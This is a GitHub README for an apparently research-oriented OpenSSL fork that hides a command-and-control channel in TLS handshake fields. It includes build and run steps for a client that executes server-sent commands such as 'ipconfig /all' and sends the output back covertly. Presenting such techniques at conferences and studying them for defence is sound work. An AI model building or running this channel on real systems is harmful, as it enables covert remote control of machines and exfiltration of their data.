Skip to content

haarlems/openssl-research

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

37,495 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

This is a personal research project,
not to be used outside of test environments.

The OpenSSL_1_1_1-stable-research-exfil branch was patched to allow a client to exfil data via GREASE (RFC 8701), random and session_id in clientHello.
client.c added to branch.
The openssl-3.5-research branch was patched to allow a server to send commands to a client via random in serverHello.
server.c added to branch.


WHAT

A client linked with 1.1.1 and a server linked with 3.5 can communicate via the CH-SH.
A low throughput, noisy, conspicuous TLS C2 channel is achieved.

This was developed for research purposes only.
I do not condone its usage in any environments where you do not have explicit permission to operate.

HOW
Windows client

  1. Compile openssl 1.1.1
> cd C:\openssl-1.1.1-source
> perl Configure VC-WIN64A no-shared --prefix=C:/openssl-grease --openssldir=C:/openssl-grease/ssl
> nmake clean
> nmake
> nmake install
  1. Compile client.c and link with openssl 1.1.1
    > cl client.c /I C:\openssl-grease\include /link /LIBPATH:C:\openssl-grease\lib
  2. Run client
    > client.exe <server_ip> 8787 -g -r -s *nix server
  3. Compile openssl 3.5-dev
$ cd openssl-3.5-source/
$ ./config --prefix=/opt/openssl-3.5 --openssldir=/opt/openssl-3.5
# make clean -j$(nproc)
# make -j$(nproc)
# make install -j$(nproc)
  1. Compile server.c and link with openssl 3.5-dev
    $ gcc server.c -o server -I /opt/openssl-3.5/include/ -I /home/openssl-3.5-source/include/ -L /opt/openssl-3.5/lib64/ -lssl -lcrypto -pthread
  2. Run server
    $ ./server
  3. Send a command to the server after the prompt
    [+] enter a less than 32 bytes server_random:
    ipconfig /all
  4. The client will receive the command, execute and send back the output to the server stdout and to a file
  5. If no commands are sent by the server, the client will check in every 9s.

Blogpost: https://medium.com/@haarlems/tls-protocol-manipulation-a-very-low-throughput-c2-channel-24ac04bc6472

This was presented at DefCamp 2025.
Slides: https://github.com/haarlems/tls-slides

About

Resources

License

Code of conduct

Contributing

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages

  • C 74.7%
  • Perl 22.3%
  • C++ 1.5%
  • Raku 0.5%
  • Assembly 0.5%
  • Shell 0.3%
  • Other 0.2%